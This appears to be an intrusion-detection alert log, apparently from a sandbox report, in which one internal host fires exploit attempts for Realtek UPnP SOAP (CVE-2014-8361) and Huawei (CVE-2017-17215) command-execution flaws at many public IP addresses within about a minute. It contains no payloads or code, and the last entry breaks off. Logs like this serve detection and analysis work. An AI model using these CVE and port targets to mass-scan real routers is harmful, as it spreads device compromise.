ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 101.42.79.184

Timestamp:	07/20/24-23:01:48.376233
SID:	2831300
Source Port:	42130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.227.14.32

Timestamp:	07/20/24-23:01:09.021221
SID:	2027339
Source Port:	59966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.13.0.132

Timestamp:	07/20/24-23:01:42.984532
SID:	2027339
Source Port:	40688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.109.146.148

Timestamp:	07/20/24-23:01:42.728248
SID:	2025132
Source Port:	37640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.194.41.40

Timestamp:	07/20/24-23:01:02.470704
SID:	2027339
Source Port:	45810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.78.155.76

Timestamp:	07/20/24-23:01:41.501891
SID:	2027339
Source Port:	46770
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.79.31.157

Timestamp:	07/20/24-23:01:42.612597
SID:	2027339
Source Port:	45456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.124.142.19

Timestamp:	07/20/24-23:01:48.124037
SID:	2027339
Source Port:	39086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.1.164

Timestamp:	07/20/24-23:01:11.635828
SID:	2835222
Source Port:	39608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.66.231.198

Timestamp:	07/20/24-23:01:48.986585
SID:	2027339
Source Port:	52706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.46.179.130

Timestamp:	07/20/24-23:01:09.027075
SID:	2027339
Source Port:	49516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.189.144.58

Timestamp:	07/20/24-23:01:43.978983
SID:	2027339
Source Port:	59718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.12.29.225

Timestamp:	07/20/24-23:01:53.459445
SID:	2027339
Source Port:	50914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.119.209.224

Timestamp:	07/20/24-23:01:47.201912
SID:	2027339
Source Port:	57420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.202.148.115

Timestamp:	07/20/24-23:01:21.952783
SID:	2835222
Source Port:	36672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.227.232.27

Timestamp:	07/20/24-23:01:42.485253
SID:	2027339
Source Port:	58876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.249.111.18

Timestamp:	07/20/24-23:01:41.295718
SID:	2025132
Source Port:	51266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.186.230.20

Timestamp:	07/20/24-23:01:42.622797
SID:	2025132
Source Port:	55116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 194.45.44.116

Timestamp:	07/20/24-23:01:44.954688
SID:	2025132
Source Port:	36322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.150.124.219

Timestamp:	07/20/24-23:01:51.354418
SID:	2831300
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.14.168.150

Timestamp:	07/20/24-23:01:31.331820
SID:	2027339
Source Port:	48328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.86.48.66

Timestamp:	07/20/24-23:01:46.844704
SID:	2831300
Source Port:	40656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.7.39.33

Timestamp:	07/20/24-23:01:41.956472
SID:	2027339
Source Port:	55608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.139.170.13

Timestamp:	07/20/24-23:01:24.915904
SID:	2829579
Source Port:	51416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.236.204.67

Timestamp:	07/20/24-23:01:43.489480
SID:	2025132
Source Port:	45674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 209.154.77.145

Timestamp:	07/20/24-23:01:08.615260
SID:	2831300
Source Port:	46100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.42.208.165

Timestamp:	07/20/24-23:01:24.934977
SID:	2829579
Source Port:	45554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.0.98.90

Timestamp:	07/20/24-23:01:02.355712
SID:	2025132
Source Port:	33494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 139.165.159.227

Timestamp:	07/20/24-23:00:59.185033
SID:	2829579
Source Port:	42824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.208.250.204

Timestamp:	07/20/24-23:01:40.286738
SID:	2835222
Source Port:	52836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.36.69.33

Timestamp:	07/20/24-23:01:43.957856
SID:	2027339
Source Port:	39886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 62.146.159.96

Timestamp:	07/20/24-23:01:56.999569
SID:	2831300
Source Port:	35682
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.218.81.136

Timestamp:	07/20/24-23:01:56.510714
SID:	2831300
Source Port:	59026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.167.255.95

Timestamp:	07/20/24-23:01:50.951743
SID:	2027339
Source Port:	42826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.150.226.120

Timestamp:	07/20/24-23:01:51.172994
SID:	2027339
Source Port:	44444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.180.101.209

Timestamp:	07/20/24-23:01:24.876750
SID:	2829579
Source Port:	40666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.188.109.169

Timestamp:	07/20/24-23:01:44.142024
SID:	2027339
Source Port:	57768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.150.236.246

Timestamp:	07/20/24-23:01:04.098080
SID:	2829579
Source Port:	56136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.76.169.126

Timestamp:	07/20/24-23:01:47.870904
SID:	2025132
Source Port:	39194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.131.43.210

Timestamp:	07/20/24-23:01:49.198416
SID:	2027339
Source Port:	33032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.67.226.84

Timestamp:	07/20/24-23:01:27.729822
SID:	2829579
Source Port:	37160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.97.212.169

Timestamp:	07/20/24-23:01:51.979093
SID:	2027339
Source Port:	47772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 139.163.81.215

Timestamp:	07/20/24-23:01:52.934726
SID:	2831300
Source Port:	46990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.134.98.50

Timestamp:	07/20/24-23:01:03.266392
SID:	2027339
Source Port:	51400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.9.244.61

Timestamp:	07/20/24-23:01:46.530676
SID:	2027339
Source Port:	50316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.175.188.159

Timestamp:	07/20/24-23:01:52.838688
SID:	2831300
Source Port:	50076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.45.39

Timestamp:	07/20/24-23:01:34.045144
SID:	2835222
Source Port:	60586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.71.29.54

Timestamp:	07/20/24-23:02:05.374045
SID:	2027339
Source Port:	55868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.175.172.46

Timestamp:	07/20/24-23:01:47.807536
SID:	2025132
Source Port:	37344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.82.199.243

Timestamp:	07/20/24-23:01:45.407048
SID:	2831300
Source Port:	34170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.43.74.118

Timestamp:	07/20/24-23:01:25.146493
SID:	2025132
Source Port:	45846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.156.176.6

Timestamp:	07/20/24-23:01:27.666100
SID:	2829579
Source Port:	52076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.107.251.119

Timestamp:	07/20/24-23:01:42.809716
SID:	2027339
Source Port:	55558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.63.23.173

Timestamp:	07/20/24-23:01:51.683848
SID:	2025132
Source Port:	39894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.195.227.25

Timestamp:	07/20/24-23:01:43.946379
SID:	2027339
Source Port:	34982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.47.187.157

Timestamp:	07/20/24-23:00:59.196993
SID:	2835222
Source Port:	40010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.55.221.40

Timestamp:	07/20/24-23:01:08.640831
SID:	2027339
Source Port:	35834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.31.9.47

Timestamp:	07/20/24-23:01:44.706302
SID:	2027339
Source Port:	39534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.253.8.89

Timestamp:	07/20/24-23:01:20.149798
SID:	2829579
Source Port:	37938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.130.131.66

Timestamp:	07/20/24-23:01:20.202325
SID:	2835222
Source Port:	34146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.18.71.244

Timestamp:	07/20/24-23:01:54.796749
SID:	2025132
Source Port:	33462
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.8.78.212

Timestamp:	07/20/24-23:01:04.247958
SID:	2829579
Source Port:	60760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.248.77.62

Timestamp:	07/20/24-23:01:48.083998
SID:	2027339
Source Port:	60718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.40.199.176

Timestamp:	07/20/24-23:01:57.465464
SID:	2025132
Source Port:	41994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.50.177.22

Timestamp:	07/20/24-23:01:31.986571
SID:	2835222
Source Port:	50630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.162.13.246

Timestamp:	07/20/24-23:01:25.948093
SID:	2027339
Source Port:	43810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 1.136.199.61

Timestamp:	07/20/24-23:01:00.645051
SID:	2835222
Source Port:	55228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.38.202.199

Timestamp:	07/20/24-23:01:56.246775
SID:	2027339
Source Port:	59676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.249.9

Timestamp:	07/20/24-23:01:20.175900
SID:	2829579
Source Port:	37304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.56.140.249

Timestamp:	07/20/24-23:01:41.933600
SID:	2831300
Source Port:	57584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.1.90.206

Timestamp:	07/20/24-23:01:01.205395
SID:	2025132
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.14.182.74

Timestamp:	07/20/24-23:01:52.343511
SID:	2027339
Source Port:	49584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 119.175.95.208

Timestamp:	07/20/24-23:01:24.904906
SID:	2835222
Source Port:	41624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.178.52.80

Timestamp:	07/20/24-23:01:44.510114
SID:	2025132
Source Port:	43984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 48.147.199.167

Timestamp:	07/20/24-23:01:20.096752
SID:	2835222
Source Port:	37104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.122.183.186

Timestamp:	07/20/24-23:02:17.085116
SID:	2025132
Source Port:	48072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.42.246.19

Timestamp:	07/20/24-23:01:45.485100
SID:	2027339
Source Port:	53756
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.75.200.235

Timestamp:	07/20/24-23:01:04.624022
SID:	2027339
Source Port:	37678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 200.70.243.196

Timestamp:	07/20/24-23:01:41.258403
SID:	2025132
Source Port:	33898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 83.250.249.17

Timestamp:	07/20/24-23:02:08.246802
SID:	2831300
Source Port:	50224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.235.222.68

Timestamp:	07/20/24-23:01:41.508271
SID:	2025132
Source Port:	49518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.78.244.230

Timestamp:	07/20/24-23:01:58.995803
SID:	2027339
Source Port:	54222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.123.9.56

Timestamp:	07/20/24-23:00:59.191389
SID:	2829579
Source Port:	47064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.170.255.190

Timestamp:	07/20/24-23:01:24.876750
SID:	2835222
Source Port:	37540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.201.123.76

Timestamp:	07/20/24-23:01:44.450410
SID:	2027339
Source Port:	55666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 46.82.140.27

Timestamp:	07/20/24-23:01:55.944701
SID:	2025132
Source Port:	42188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.250.222.170

Timestamp:	07/20/24-23:01:41.354321
SID:	2027339
Source Port:	36176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.162.88.124

Timestamp:	07/20/24-23:01:43.478924
SID:	2025132
Source Port:	56258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.99.82.220

Timestamp:	07/20/24-23:01:44.405053
SID:	2027339
Source Port:	53430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 25.68.235.59

Timestamp:	07/20/24-23:01:01.765841
SID:	2025132
Source Port:	34016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.59.76.250

Timestamp:	07/20/24-23:01:41.508271
SID:	2025132
Source Port:	60680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.68.36.118

Timestamp:	07/20/24-23:01:41.967549
SID:	2027339
Source Port:	48812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.172.133

Timestamp:	07/20/24-23:00:59.154067
SID:	2829579
Source Port:	50026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.140.206

Timestamp:	07/20/24-23:01:24.960642
SID:	2829579
Source Port:	40560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.5.72.210

Timestamp:	07/20/24-23:01:14.000556
SID:	2025132
Source Port:	38772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 188.52.23.162

Timestamp:	07/20/24-23:01:52.701293
SID:	2025132
Source Port:	58940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 95.200.159.137

Timestamp:	07/20/24-23:01:47.652628
SID:	2025132
Source Port:	35362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.248.56.62

Timestamp:	07/20/24-23:01:42.486106
SID:	2027339
Source Port:	32964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.170.103.64

Timestamp:	07/20/24-23:01:00.639093
SID:	2829579
Source Port:	46116
Destination Port:	37215
Protocol:	TCP
